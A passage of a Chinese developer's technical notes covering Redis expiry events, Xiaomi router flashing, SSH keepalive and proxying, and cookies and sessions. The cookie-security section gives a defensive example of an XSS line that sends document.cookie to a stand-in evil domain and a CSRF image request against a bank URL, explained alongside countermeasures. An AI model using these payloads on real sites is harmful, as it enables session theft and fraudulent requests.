        console.log('为保证redis定时器唯一性 这次不处理 因为已有别在处理这个订阅了')
        return
    }
    // 时间不得超过定时器的有效期 不然会一个都处理不了
    await redis.set(unique, '唯一性保证', 'ex', unpaidExpire * 60)
}

monitor显示由client发送给redis的command

const sub3 = new Redis(client)
sub3.monitor().then(monitor =>
    monitor.on('monitor', (time, args, source, database) => {
        console.log('monitor', new Date(parseInt(time * 1000)).toLocaleString(), args, source, database)
    })

错误 EXECABORT Transaction discarded because of previous errors

这是redis事务处理multi报的错,redis的事务没有回滚,就算前面出错了也会继续后面执行下去,只保证操作的顺序性,pipeline不保证顺序性,所以selectsubscribe不能连用和其它一些限制,但是速度快啊
参考:

小米路由器mini刷机

准备材料

硬件

  • 小米路由器mini(型号r1cm)
    CPU MT7620 (ramips_24kec架构)
  • fat32格式u盘(尽量非读卡器)
  • 牙签或取卡针(用来reset)

软件

  • git-for-windows(ssh、md5)
  • miwifi_r1cm_all_0e3da_0.4.85.bin(官方老版开发版固件)
  • breed-mt7620-xiaomi-mini.bin (免死breed)
  • PandoraBox-ralink-mt7620-xiaomi-mini-2018-12-31-git-4b6a3d5ca-squashfs-sysupgrade.bin(第三方系统)
  1. 小米路由器Mini Lean R9.7.6 自编译固件
    魔改openwrt版自带各种插件推荐!后台IP: 192.168.1.1 密码: password
  2. 下载最新pandorabox
  3. 下载最新padavan(俗称毛子、华硕固件,功能更强)
  4. 下载最新openwrt(lede)
    注意原版openwrt不太友善,甚至luci web都没有安装,而且容易红灯(刷机失败)

注意:下载刷机包时,先选ramipsralink之类的字样(架构),再选择CPU型号,再搜索品牌xiaomimiwifi
这是刷机包三要素,同时也是装软件的三要素

CPU架构扫盲

架构 型号
ar71xx AR7xxx/AR9xxx/QCA9xxx
atheros AR231x/AR5xxx
bcm53xx BCM47xx/53xx (ARM CPU)
brcm47xx BCM47xx/53xx (MIPS)
brcm63xx BCM63xx
ramips_24kec RT3x5x/RT5350/MT7620a/MT7620n/MT7621

参考:https://sourceforge.net/p/openwrt-dist/wiki/Home/

刷回开发版固件

打开路由器,进入管理地址,常用设置->右上角系统升级->手动升级,选择开发版固件
注意:

  • 这里最好选择老版的开发版固件,怕新固件换了秘钥导致无法后面的ssh,不过也不要太老,和ssh兼容就行
  • 每次刷完机都要重新开启ssh操作

开启ssh

首先下载ssh工具包,拷贝页面上的账号密码root密码 72f7f264,将下载的miwifi_ssh.bin放入u盘:

  1. 断开路由器电源,插入u盘
  2. 长戳reset键,插入电源,直到黄灯闪烁松开reset键
  3. 等待蓝灯代表刷成功
  4. 再次连接路由器的局域网
  5. ssh [email protected]
    注意:
  • 保证u盘里只有一个bin文件
  • 以上步骤也是可以刷官方固件的miwifi.com.bin,但是反过来暂不知能否用网页刷miwifi_ssh.bin
  • 注意ssh工具包所匹配的开发版固件的版本
  • 再次强调u盘格式:FAT32
  • 如果ssh连接提示WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!,那么请删除cat ~/.ssh/known_hosts | grep 192.168.31.1这一行

备份系统

ssh [email protected]
cat /proc/mtd # 查看 rom 非必须
dd if=/dev/mtd0 of=/tmp/r1cm_system_backup.bin # 备份全部
exit # 退出路由器(服务端)回到电脑(客户端)
scp [email protected]:/tmp/r1cm_system_backup.bin . # 下载备份的系统到当前目录

刷入免死breed

scp ./breed-mt7620-xiaomi-mini.bin [email protected]:/tmp/breed-mt7620-xiaomi-mini.bin
ssh [email protected]
mtd -r write /tmp/breed-mt7620-xiaomi-mini.bin Bootloader # 刷完后会自动重启

手动进入breed控制台

breed可以理解为安卓的recovery,不过特别安全,用breed随便刷机

  1. 通过网线连接路由器与电脑
    breed不具备无线功能,所以只能“线刷”
  2. 断开路由器电源,戳住reset,重新通电
  3. 蓝灯闪烁,松开reset(表面已进入breed模式)
  4. 直接访问192.168.1.1就是breed的首页了
    疑问:
  • breed号称刷不死,究竟是在breed控制台随便刷而不死,还是在ssh里直接用mtd?
    应该是前者
  • 需要拔除u盘吗?
    应该不需要

Breed Web 恢复控制台: 文件未找到, 请求的页面不存在

Chrome缓存的锅, 换一个浏览器或者清空缓存,因为一般用breed刷机是不会覆盖BootLoader的,breed会自动剔除里面的BL

刷第三方固件

进入breed控制台刷机
注意: 通过breed刷机的时候

Pandorabox切换回旧界面

因为新界面限制了很多操作,不够灵活,跳过向导后然后点击右上角图标,选择系统设置,选择极客模式下面的启用,即可回到旧管理界面

Padavan 默认配置

  • 网关/管理页/ssh:192.168.1.1
  • 管理账号/ssh账号:root/admin

ssh免密登录

http://192.168.1.1/cgi-bin/luci/admin/system/admin

真正关闭路由器

ssh运行poweroff

桥接蹭网

网络->无线->扫描
http://192.168.1.1/cgi-bin/luci/admin/network/wireless

  1. 先把2.4G 5G都设置为相同的名称与密码,都属于lan
  2. 你要蹭多少G的网就在那里点击扫描
  3. 选择新建网络然后属于wan
  4. 重启路由器

注意:

  • 极客s模式(旧版界面)配置中继太麻烦,建议先从新界面设置好再切换旧界面
  • 频道和频宽不要胡乱设置!要设置为基于蹭网一样的频道

opkg的使用

更新opkg软件源

系统->软件包->配置

vi /etc/opkg.conf
dest root /
dest ram /tmp
lists_dir ext /etc/opkg-lists
option overlay_root /overlay
# dest usb /mnt/sdb1/opkg # 这里有u盘插上再说!
arch all 100
arch ramips_24kec 200
arch ramips 300
arch mips 400
arch unkown 500


vi /etc/opkg/distfeeds.conf # 这是软件源
src/gz 19.02_core http://downloads.pangubox.com:6380/pandorabox/19.02/targets/ralink/mt7621/packages
src/gz 19.02_base http://downloads.pangubox.com:6380/pandorabox/19.02/packages/mipsel_1004kc_dsp/base
src/gz 19.02_newifi http://downloads.pangubox.com:6380/pandorabox/19.02/packages/mipsel_1004kc_dsp/newifi
src/gz 19.02_pear http://downloads.pangubox.com:6380/pandorabox/19.02/packages/mipsel_1004kc_dsp/pear
src/gz 19.02_packages http://downloads.pangubox.com:6380/pandorabox/19.02/packages/mipsel_1004kc_dsp/packages
src/gz 19.02_luci http://downloads.pangubox.com:6380/pandorabox/19.02/packages/mipsel_1004kc_dsp/luci
src/gz 19.02_lafite http://downloads.pangubox.com:6380/pandorabox/19.02/packages/mipsel_1004kc_dsp/lafite
src/gz 19.02_mtkdrv http://downloads.pangubox.com:6380/pandorabox/19.02/packages/mipsel_1004kc_dsp/mtkdrv

常用opkg命令

# 打印帮助
opkg -h

# 更新资源列表
opkg update

# 列出已安装的包
opkg list

# 搜索包
opkg search shadowsocks

# 安装软件,以安装curl和wget为例
opkg install curl
# 安装本地软件包
opkg install /tmp/wget_1.16-1_ramips_24kec.ipk 

# 移除软件
opkg remove wget

# 移除软件及其依赖
# 主要是luci-app
# 这也是图形界面的操作
#opkg remove xxx --force-removal-of-dependent-packages

安装shadowsocks和chinadns

  1. 下载ss和其luci管理界面
    shadowsocks-libev是c语言实现的ss
    chinadns是DNS反劫持及线路优化
  1. 下载chinadns和其luci管理界面
    ChinaDNS_xxx_ramips_24kec.ipk
    luci-app-chinadns_xxx_all.ipk
  2. 拷贝ipx文件到路由器的/tmp并安装
scp ./*.ipk [email protected]:/tmp # 多次scp会直接覆盖文件
scp ./shadowsocks-libev* [email protected]:/tmp # 只上传shadowsocks-libv开头的文件
rm ./shadowsocks-libev* # 只删除shadowsocks-libv开头的文件 加-f 不提示

ssh [email protected]

cd /tmp
ls *.ipk
opkg install *.ipk

注意:

  • shadowsocks-libev有的版本安装不上建议多试试
  • spec和luci-app尽量选发布时间差不多的

目前使用opkg install shadowsocks-libev-spec直接安装新版本的Shadowsocks会报错,可以在http://sourceforge.net/projects/openwrt-dist/files/shadowsocks-libev/ 下载历史版本,2.1.4亲测可用,下载ramips版本,复制到路由器安装(省略了路径):

配置ss

vi /etc/shadowsocks/config.json # 配置ss,或在前端 服务/ShadowSocks 配置

小米路由器mini折腾之配置opkg篇
小米路由器mini折腾之安装shadowsocks-libev-spec
联想newifi+pandorabox+chinadns+shadowsocks无缝翻墙
Shadowsocks-libev for OpenWrt
使用SDK
OpenWrt编译 – 说明

无线未开启或未关联

频道(信道)不要乱设置(如设置为auto),5g的频道要设置为149,2.4g要设置为11,国家设置为美国

参考

小米路由器mini/mini青春版 刷入Openwrt固件
[经验技巧] 【修复变砖的路由器】小米路由器U盘刷ROM/SSH失败的解决方案

uni-app学习笔记

HBuilderX运行微信开发者工具失败

提示StatusCodeError: 400 - "{\"code\":40000,\"error\":\"错误 Error: ENOENT: no such file or directory, open 'C:\\Users\\Administrator\\Desktop\\test1\\unpackage\\dist\\dev\\mp-weixin\\project.config.json'\"}"
解决方案:新建项目时,不要新建到C盘, 新建到D盘解决问题~~

用Redis实现付款超时自动取消订单

需求

  1. 时间是准确的
  2. 超时后会有别的动作(超时回调、过期事件)

同理取消订单也适用于优惠券,可以用消息队列实现

消息队列(Message Queue)的两种模式

  • 发布/订阅(publisher/subscriber,pub/sub)
  • 生产/消费(producer/consumer,pro/con)

它们的共同点都是要往队列推消息,然后监听,区别是后者谁先听到谁取,消息只被一个使用(一对一),而前者是消息被所有人使用(一对多)
但是一对多可以实现一对一,反过来不行

redis中的消息队列

pub/sub

  1. publisher publish channel
  2. subscriber subscribe channel

pro/con

  1. producer lpush list
  2. consumer brpop list

消息的发出者一般是一次性的、不独占连接、可以进行其它操作
消息的接受者则是持续性的、独占连接、不可进行其他操作
必须指出的是:redis的消息发布即失,也就是不保证消息一定能被接受到, 一旦接受端断开连接,将会失去部分消息,即链接失效期间的消息将会丢失,如果要保证其可靠性,必须得使用额外的手段,如定时任务。

psubscribe和subscribe的区别

redis可以使用psubscribe命令进行正则匹配订阅

  • subscribe订阅publish发布,传输的是message
  • psubscribe订阅publish发布,传输的是pmessage

Redis订阅/发布redis-cli体验

订阅者:

127.0.0.1:6379> subscribe channel # 订阅名为channel的频道
Reading messages... (press Ctrl-C to quit)
1) "subscribe"
2) "channel"
3) (integer) 1 # 1成功 0失败
1) "message" # 消息类型
2) "channel" # 频道名
3) "hello" # 消息体

发布者:

127.0.0.1:6379> publish channel hello
(integer) 1

注意:redis命令运行成功有的时候是返回1或者OK,不过有1就有0,如果又没1又没0也没OK的话那肯定就是失败?

Redis键空间消息(Redis Keyspace Notifications)

在 Redis 的 2.8.0 版本之后,其推出了一个新的特性——键空间消息(Redis Keyspace Notifications),可配合 2.0.0 版本之后的 sub/pub

键空间消息:影响数据空间的任何操作都会触发两条消息keyspacekeyevent(如果开启notify-keyspace-events的K和E的话)
举个例子:在0号数据库del mykey的时候

127.0.0.1:6379> config set notify-keyspace-events AKE # 监听所有key消息
127.0.0.1:6379> select 0
127.0.0.1:6379> set mykey ''
127.0.0.1:6379> del mykey

会触发一下具体的两行命令:

127.0.0.1:6379> publish __keyspace@0__:mykey del
127.0.0.1:6379> publish __keyevent@0__:del mykey

会收到两个pmessage

127.0.0.1:6379> psubscribe __key*__:*
Reading messages... (press Ctrl-C to quit)
1) "psubscribe"
2) "__key*__:*"
3) (integer) 1

1) "pmessage"
2) "__key*__:*"
3) "__keyspace@0__:mykey"
4) "del"

1) "pmessage"
2) "__key*__:*"
3) "__keyevent@0__:del"
4) "mykey"

键空间消息默认是关闭的以节省CPU开销,有两种方式开启:

  1. redis.conf里notify-keyspace-events Ex
    Ex不是设置过期时间的ex,而是E键空间+x过期事件组合而成
  2. 命令CONFIG SET notify-keyspace-events Ex

notify-keyspace-events的完整选项

  • K:keyspace事件,事件以__keyspace@__为前缀进行发布;
  • E:keyevent事件,事件以__keyevent@__为前缀进行发布;
  • g:一般性的,非特定类型的命令,比如del,expire,rename等;
  • $:String 特定命令;
  • l:List 特定命令;
  • s:Set 特定命令;
  • h:Hash 特定命令;
  • z:Sorted 特定命令;
  • x:过期事件,当某个键过期并删除时会产生该事件;
  • e:驱逐事件,当某个键因maxmemore策略而被删除时,产生该事件;
  • A:g$lshzxe的别名,因此”AKE”意味着所有事件。

Redis键空间消息redis-cli体验

应该订阅的channel是__keyevent@0__:expireddel变量不会触发只有到期自动删除才会触发
开启key过期提醒:

127.0.0.1:6379> CONFIG SET notify-keyspace-events Ex
OK
127.0.0.1:6379> CONFIG GET notify-keyspace-events
1) "notify-keyspace-events"
2) "xE"

订阅者:

127.0.0.1:6379> SUBSCRIBE __keyevent@0__:expired
Reading messages... (press Ctrl-C to quit)
1) "subscribe"
2) "__keyevent@0__:expired"
3) (integer) 1
1) "message"
2) "__keyevent@0__:expired"
3) "a"
1) "message"
2) "__keyevent@0__:expired"
3) "b"

发布者(严格来说不算):

127.0.0.1:6379> set a 1 ex 3
OK
127.0.0.1:6379> set b 2
OK
127.0.0.1:6379> ttl b
(integer) -1
127.0.0.1:6379> expire b 2
(integer) 1

思路

  1. 下单成功后存订单id到redis并设置过期时间
  2. 如果在过期时间内付款成功,则把redis中的订单id删除
  3. 如果过期而不付款,则会触发消息
  4. 接受消息,接受key(订单id)对订单进行取消处理

代码实现

const Redis = require('ioredis') // 因为会阻塞所以新建一个监听
const ctx = app.createAnonymousContext()
const { config } = app
const { client } = config.redis
const sub = new Redis(client)

sub.config('set', 'notify-keyspace-events', 'Ex')
const kevent = '__keyevent@0__:expired'
sub.subscribe(kevent)
sub.on('message', async (channel, message) => {
    console.log('收到消息', channel, message)
    switch (channel) {
        case kevent:
            const order_sn = message
            // 取消订单
            break
    }
})

sub.on('error', err => {
    console.log('REDIS CONNECT error', err)
    console.log('node error', err.lastNodeError)
})

参考

Redis编程实践【pub/sub】

微信公众号消息管理

一、消息的公共部分

不管是什么消息类型, 不管是接受还是发送消息, 下面这些属性是共通的

xml {
        ToUserName, // 接收方帐号(收到的OpenID)
        FromUserName, // 开发者微信号
        CreateTime, // 消息创建时间(整型)
}

二、接收普通消息

当普通微信用户向公众账号发消息时,微信服务器将POST消息的XML数据包到开发者填写的URL上。
普通消息的类型是通过MsgType表示的, 目前有7种:

  1. 文本消息 text
  2. 图片消息 image
  3. 语音消息 voice
  4. 视频消息 video
  5. 小视频消息 shortvideo
  6. 地理位置消息 text
  7. 链接消息 link

三、接收事件推送

用户的某些操作会事件推送

  • 不是所有操作都会触发事件推送
  • 不是所有事件都能回复

事件消息公共部分

xml {
        MsgType: 'event',
        Event // 区分事件类型
}

MsgType == event, 具体是什么事件则通过Event字段表示, 目前有4种情况:

1. 关注/取消关注事件

xml {
        Event: 'subscribe' || 'unsubscribe'
}

2. 扫描带参数二维码事件

分成两种情况

  1. 用户未关注时,进行关注后的事件推送
xml {
        Event: 'subscribe',
        EventKey, // 事件KEY值,qrscene_为前缀,后面为二维码的参数值
        Ticket // 二维码的ticket,可用来换取二维码图片
}
  1. 用户已关注时的事件推送
xml {
        Event: 'SCAN',
        EventKey, // 事件KEY值,是一个32位无符号整数,即创建二维码时的二维码scene_id
        Ticket // 二维码的ticket,可用来换取二维码图片
}

3. 上报地理位置事件

xml {
        Event: 'LOCATION',
        Latitude, // 经度
        Longitude, // 纬度
        Precision // 地理位置精度
}

4. 自定义菜单事件

注意,点击菜单弹出子菜单,不会产生上报
分成两种情况

  1. 点击菜单拉取消息时的事件推送
xml {
        Event: 'CLICK',
        EventKey // 事件KEY值,与自定义菜单接口中KEY值对应
}
  1. 点击菜单跳转链接时的事件推送
xml {
        Event: 'VIEW',
        EventKey // 事件KEY值,设置的跳转URL
}

ssh最佳实践

SSH掉线问题

SSH经常会碰到一个问题,有段时间没有操作,会自动断开或者显示,其本质是防火墙关闭了连接

NAT firewalls like to time out idle sessions to keep their state tables clean and their memory footprint low.

当然掉线显示 packet_write_wait: Connection to UNKNOWN port 65535: Broken pipe也有可能是真的是因为网络问题而断开了连接

解决方案

通过设置ssh发送心跳包来保持ssh的连接

  • ClientAliveInterval 服务端向客户端发送心跳包 默认为0
  • ServerAliveInterval 客户端向服务端发送心跳包 默认为0
  • TCPKeepAlive 服务端客户端都可以用的心跳包 默认为yes

ClientAliveIntervalServerAliveInterval心跳包时间间隔要设置为小于防火墙的最小超时时间

只要设置服务端或者客户端就行了,推荐只设置客户端就行了,没有权限问题

ClientAliveInterval、ServerAliveInterval和TCPKeepAlive的区别

相同点:都是发送心跳包的
不同点:TCPKeepAlive是服务端客户端都可以设置的
最大的不同点:TCPKeepAlive可能也会被防火墙拦住,意思是光TCPKeepAlive可能还是会掉线

TCPKeepAlive operates on the TCP layer. It sends an empty TCP ACK packet. Firewalls can be configured to ignore these packets, so if you go through a firewall that drops idle connections, these may not keep the connection alive.
ServerAliveInterval operates on the ssh layer. It will actually send data through ssh, so the TCP packet has encrypted data in and a firewall can't tell if its a keepalive, or a legitimate packet, so these work better.

man sshd_config里面有句话

The default is yes (to send TCP keepalive messages), and the server will notice if the network goes down or the client host crashes. This avoids infinitely hanging sessions.

也就是说,TCPKeepAlive的目的不是为了保持连接,而是为了清除ghost-user,反而更容易断线
所以,根据最佳实践,应该在服务端设置TCPKeepAlive为yes,然后在客户端设置时间间隔低的心跳包

SSH服务端配置文件

vi /etc/ssh/sshd_config
ClientAliveInterval 30 # 每30s向客户端发送心跳包
ClientAliveCountMax 5 # 5次没响应认为已断开 默认为3

# 重启ssh服务 RHEL、CentOS、Fedora、Redhat
/etc/init.d/sshd restart
service sshd restart
sudo systemctl restart sshd

# 重启ssh服务 Debian、Ubuntu
/etc/init.d/ssh restart # 推荐有提示
service ssh restart
service sshd restart # 也可以使用RHEL系风格

SSH客户端配置文件

vi ~/.ssh/config # 用户级(当前用户生效)
vi /etc/ssh/ssh_config # 系统级(所有用户生效)
Host myhost
    HostName xx.xx.xx.xx
    User root
    Port xxxx
    ServerAliveInterval 60 # 每30s向服务端发送心跳包
    ServerAliveCountMax 5 # 默认为3

ssh myhost

通过代理访问SSH服务器(基于 nc 的代理转发)

打开代理软件,开启全局代理(SSH服务器的IP要经过代理)

# 方法一
ssh myhost -o 'ProxyCommand nc -X 5 -x 127.0.0.1:19181 %h %p' # 端口号看情况定

# 方法二
vi ~/.ssh/config
Host myhost
    ProxyCommand nc -x 127.0.0.1:19181 %h %p

ssh myhost

nc命令解释

netcat一般简称为nc,直译为中文就是“网猫”,被誉为网络上的瑞士军刀,能够很方便、很灵活地操纵传输层协议(TCP & UDP),如网络诊断、网络配置、系统管理、辅助入侵......
在这里,我们只用到了nc的一小部分功能:基于 nc 的代理转发(Proxy Forward)

nc整体的命令格式是:nc 命令选项 主机 端口

  • -X指定代理的类型
    原版nc没有该选项,有这个选项的是nc的OpenBSD变种,且这个选项带3个参数

    1. 4(SOCKS v.4)
    2. 5(SOCKS v.5)默认
    3. connect (HTTPS proxy)
  • -x proxy_address[:port] 指定代理的位置
    也是属于OpenBSD变种支持的选项,用于指定代理的ip地址和端口号,端口号可以省略,就会用默认的端口号(socks代理是1080,https代理是3128)

ProxyCommand和%h %p的解释

ProxyCommand:在连接ssh服务端时运行指定命令
%h %p:SSH运行时的标记(tokens)

  • %% A literal `%'.
  • %C Hash of %l%h%p%r.
  • %d Local user's home directory.
  • %h The remote hostname.
  • %i The local user ID.
  • %L The local hostname.
  • %l The local hostname, including the domain name.
  • %n The original remote hostname, as given on the command line.
  • %p The remote port.
  • %r The remote username.
  • %T The local tun(4) or tap(4) network interface assigned if tunnel forwarding was requested, or "NONE" otherwise.
  • %u The local username.

所以%h %p代表远程主机名和端口号,不同的ssh参数能用的标记也不尽相同:

  • Match exec accepts the tokens %%, %h, %i, %L, %l, %n, %p, %r, and %u.
  • CertificateFile accepts the tokens %%, %d, %h, %i, %l, %r, and %u.
  • ControlPath accepts the tokens %%, %C, %h, %i, %L, %l, %n, %p, %r, and %u.
  • HostName accepts the tokens %% and %h.
  • IdentityAgent and IdentityFile accept the tokens %%, %d, %h, %i, %l, %r, and %u.
  • LocalCommand accepts the tokens %%, %C, %d, %h, %i, %l, %n, %p, %r, %T, and %u.
  • ProxyCommand accepts the tokens %%, %h, %p, and %r.
  • RemoteCommand accepts the tokens %%, %C, %d, %h, %i, %l, %n, %p, %r, and %u.

所以结合在一起看ProxyCommand nc -X 5 -x 127.0.0.1:19181 %h %p就是:通过nc把ssh的流量由代理服务器转发到ssh服务器(%h %p)
ssh myhost -o 'ProxyCommand nc -X 5 -x 127.0.0.1:19181 %h %p'-o意思就是把配置文件的字段写在命令行,ProxyCommand是配置文件格式的字段,而不是ssh命令的参数

其它解决方案screen

断线不可怕,可怕的是断线会把正在运行的程序都结束导致数据、工作状态丢失的麻烦,如果使用了screen,就算掉线也可以恢复之前的工作状态,当然配合之前的心跳包使用效果更佳

参考

解决SSH自动断线,无响应的问题
How does tcp-keepalive work in ssh?
扫盲 netcat(网猫)的 N 种用法——从“网络诊断”到“系统入侵”
How To Restart SSH Service under Linux / UNIX
man ssh_config
man sshd_config
man ssh
man nc

Cookie和Session

由于HTTP是无状态的,所以需要一些方式实现保存状态,比如服务端的状态就是返回的状态码,而客户端的状态就用cookie和session,用来记录用户状态:

  • 会话状态管理(如用户登录状态、购物车、游戏分数或其它需要记录的信息)
  • 个性化设置(如用户自定义设置、主题等)
  • 浏览器行为跟踪(如跟踪分析用户行为等)

Cookie

  • Cookie是由服务端生成的,发送给客户端
  • Cookie总是保存在客户端中,按在客户端中的存储位置,可分为:
  1. 会话期CookieSession cookies
    保存在客户端内存,浏览器关闭后就自动消失了(会话期内有效),
Set-Cookie: yummy_cookie=choco
  1. 持久性CookiePermanent cookies
    保存在客户端硬盘,除非用户手工清理或到了过期时间,硬盘Cookie不会被删除
    持久性Cookie可以指定一个特定的过期时间(Expires)或有效期(Max-Age),以秒为单位(设为0是命令浏览器删除该Cookie)
    注意,这个时间是客户端的时间
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

注意,头部的关键字首字母为大写

Cookie的有效期

  • Expires(过期时间)
    Cookie到什么时候过期,是一个时间
  • Max-Age(有效期)(优先级高)
    Cookie还有多少秒过期

如果同时设置ExpiresMax-Age,那么以后者为标准

创建Cookie

  1. 服务器向客户端发送response,定义Set-Cookie头,服务器通过该头部告知客户端保存Cookie信息
    注意
HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry

[页面内容]
  1. 如果客户端没有禁用cookie的话,就会保存cookie
  2. 之后每次客户端向服务端发出的请求都会带上cookie
GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry

Cookie的Secure 和HttpOnly 标记

  • Secure
    Secure的cookie只会在https请求的时候放在头里发送给服务端
    注意,因为cookie采用的是明文传输,Secure也保证不了它的安全性,可以对cookie再进行一次加密
  • HttpOnly
    表示此cookie只应该发送给服务端,而不能在客户端通过js的Document.cookie访问(防止跨域脚本XSS攻击
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

Cookie的期限

Cookie的作用域

DomainPath标识定义了Cookie的作用域:即Cookie应该发送给哪些URL。

  • Domain
    该标识指定了哪些主机host可以接受Cookie,不指定默认为document.location.host不包含子域名),指定则包含子域名Domain=github.com意味着*.github.com也生效
  • Path
    该标识指定了主机下的哪些路径可以接受Cookie(该URL路径必须存在于请求URL中)。以字符 %x2F ("/") 作为路径分隔符,子路径也会被匹配Path=/docs意味着/docs/*也生效

SameSite Cookies

SameSite Cookie允许服务器要求某个cookie在跨站请求时不会被发送,从而可以阻止跨站请求伪造攻击(CSRF)

第三方Cookie

每个Cookie都会有与之关联的域(Domain)

  • 第一方Cookiefirst-party cookie
    Cookie的域和页面的域相同
  • 第三方Cookiethird-party cookie
    Cookie的域和页面的域不相同

第三方Cookie主要用于广告和网络追踪,由于图片之类的可以使用其它网站的图片(跨域),但是如此第一方的Cookie也只会发送给设置它们的服务器,所以需要第三方的组件发送cookie到第三方服务器(大多数浏览器默认都允许第三方Cookie,可以通过浏览器扩展阻止)

Cookie的缺陷

  • Cookie会被附加在每个HTTP请求中,所以无形中增加了流量。
  • Cookie的大小限制在4KB左右。对于复杂的存储需求来说是不够用的
  • 安全问题

Cookie安全问题

  1. 会话劫持和XSS
(new Image()).src = 'http://www.evil-domain.com/steal-cookie.php?cookie=' + document.cookie

应对方式:Secure,加密cookie

  1. 跨站请求伪造(CSRF)
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">

应对方式:

  • 对用户输入进行过滤来阻止XSS
  • 任何敏感操作都需要确认
  • 用于敏感信息的Cookie只能拥有较短的生命周期
  • 更多方法可以查看OWASP CSRF prevention cheat sheet

Cookie被客户端禁用了怎么办?

  1. 请求头强制指定Cookie(绕过浏览器限制)
  2. URL query代替
  3. 请求body
    原则就是在HTTP上做手脚,头或体(请求的本质)

Session

客户端与服务端的交互,叫会话,处理会话状态,也就是Session:为了避免Cookie的种种限制和缺陷,利用Cookie的特性,在服务端也可以实现用户状态的保存

Session和Cookie的关系

因为Session有Session ID的缘故,服务端通过Cookie指定一个唯一的用户标识(一般不指定过期时间,也就是使用的是会话期Cookie),然后在服务端以Session ID为索引,存储任意的用户信息。所以Cookie只是Session实现Session ID的一种方式而已,也可以用其它的方式。

Cookie和Session的区别

作用域

因为Session使用的Cookie没有设置Domain字段和Path,所以不支持子域名和子目录

安全性

由于Session保存在服务器,只把Session ID暴露在外面,所以安全性要好于Cookie

保存位置(有效期)

因为Session使用的是Session Cookie,Max-Age没有设置或者小于0,所以Session,关闭浏览器就失效
Session保存在服务器的内存、硬盘、数据库都可以
Cookie保存在客户端的内存或者硬盘

数据结构

容量大小

服务器压力

Session是保管在服务器端的,每个用户都会产生一个Session。假如并发访问的用户十分多,会产生十分多的Session,耗费大量的内存。而Cookie保管在客户端,不占用服务器资源。假如并发阅读的用户十分多,Cookie是很好的选择。

参考

HTTP cookies - HTTP | MDN
HTTP State Management Mechanism
Cookie和Session的作用和工作原理

数据库的应用类型

数据库应用类型分为两种

  1. OLTP 在线事务处理(事务操作)
    基本的、日常的,具有实时性、量小、明确和并发的特点
  2. OLAP 在线分析处理(数据仓库)
    生成决策状态报表

OLAP的几个概念

  • 维 Dimension(角度)
    • 时间维
    • 地理维
  • 维的层次 Level(单位、尺度)
  • 维的成员 Member(单维的取值)
  • 维的度量 Measure(多维的取值)

OLAP多维分析

  • 钻取(改变Level的粒度)
    • Drill-up 向上钻取
    • Drill-down 向下钻取
  • 切片 Slice(=2维)
  • 切块 Dice(>2维)
    选Member后,看Measure分布
  • 旋转 Pivot(变幻维的方向)
    如行列互换

工作中的坑与经验

Node.js Unhandled Rejection Error

错误catch不到:异步函数一定要加await或者Promise.catch

MongoDB时间巨坑

服务器时区正常,MongoDB时区为0,那么

  1. 传入GMT+0的时间是正常的
  2. 传入GMT+8的时间出问题
    • 传入数据库还以为是GMT+0,所以取出来转为本地时间时会再+8
      解决方法
  3. Mongoose的model type为string
  4. 传入时间反而-8

js中数字、字符串、NaN之谜(怎么过滤空字符串)

Number('') // 0
parseInt('') // NaN parseInt只接收字符串 其它会直接NaN 传数字的话会先转为字符串然后再处理转为数字
isNaN('') // false
// 所以要过滤空字符串: 
isNaN(parseInt(x))

GitHub 私人private仓库添加成员(协作者Collaborators)

仓库 -> setting -> Collaborators -> add collaborator
在输入框输入对方的GitHub名字或者注册邮箱即可
添加后,把邀请链接发给对方,对方打开同意即可
最后,对方(协作者)可以在其setting -> Repositories最底部看到这个仓库。在github首页是看不到的

函数作用域

在函数a内部定义的函数b, 就算它b在其它t地方执行, 作用域也在定义它b的那里a
意义就是 a, b之间 不用传参数 直接用就是
如果b不在a里面定义, 就算是通过传参传过来, 那也不是同一个作用域了(一定要在内部定义)

function a (id=1) {
    function b () {  console.log(id) }
    t(b)
}
function t (f) { f() }
a() // 1

有趣的坑(new Image()).src = undefined

var img = new Image()
img.src = undefined // 除非是base64字符串 否则会发起网络请求
// 如果是字符串且没有协议头那么就会以当前 url 加上现在的字符串 为请求url
// 如 http://m.acgsun.com/undefined 如果是服务端渲染 可能导致页面挂掉!
// 空字符串不会网络请求因为默认就是空字符串

SEM和SEO的区别?

  • SEM (Search Engine Marketing)
  • SEO (Search Engine Optimization)
  • PPC (Pay Per Click)

SEO和PPC都是属于SEM,在国内SEM可以理解为付费广告, SEO可以理解为自然排名

js location 中的assign()、replace()、reload()

  • window.location.assign(url)
    加载 URL 指定的新的 HTML 文档。 就相当于一个链接,跳转到指定的url,当前页面会转为新页面内容,可以点击后退返回上一个页面。
  • window.location.replace(url)
    通过加载 URL 指定的文档来替换当前文档 ,这个方法是替换当前窗口页面,前后两个页面共用一个
    窗口,所以是没有后退返回上一页的
  • window.location.reload()
    用于刷新当前文档。似于你浏览器上的刷新页面按钮。
    如果把该方法的参数设置为 true,那么无论文档的最后修改日期是什么,它都会绕过缓存,从服务器上重新下载该文档。这与用户在单击浏览器的刷新按钮时按住 Shift 健的效果是完全一样。

如果有 POST 数据提交,则会重新提交数据;location.reload() 则将新的页面以替换当前页面,它是从服务器端重新获取新的页面,不会读取客户端缓存且新的 URL 将覆盖 History 对象中的当前纪录(不可通过后退按钮返回原先的页面)。

如果想要刷新当前的页面,又避免 POST 数据提交,可以使用:

window.location.replace( location.href )

参考: https://blog.csdn.net/u010597202/article/details/78666913

微信支付 网络环境未能通过安全验证 请稍后再试

商户侧统一下单传的终端IP(spbill_create_ip)与用户实际调起支付时微信侧检测到的终端IP不一致导致的
解决方案: 阿里云k8s集群ctx.header['x-original-forwarded-for'] || ctx.header['x-forwarded-for'] || ctx.ip
第一个是真实ip但有但时候没有, 第二个一般不是真实ip只有在第一个没有的时候为真实ip, 最后一个是在本地测试的时候用的, 因为本地的时候 前两个都是空

参考: k8s ingress获取真实IP地址配置

站内搜索

谷歌输入框:
关键字 site:xxx.com

ssh 免密码登录(设置后仍需输密码的原因及解决方法)

服务端

$ vi /etc/ssh/sshd_config
RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile      %h/.ssh/authorized_keys

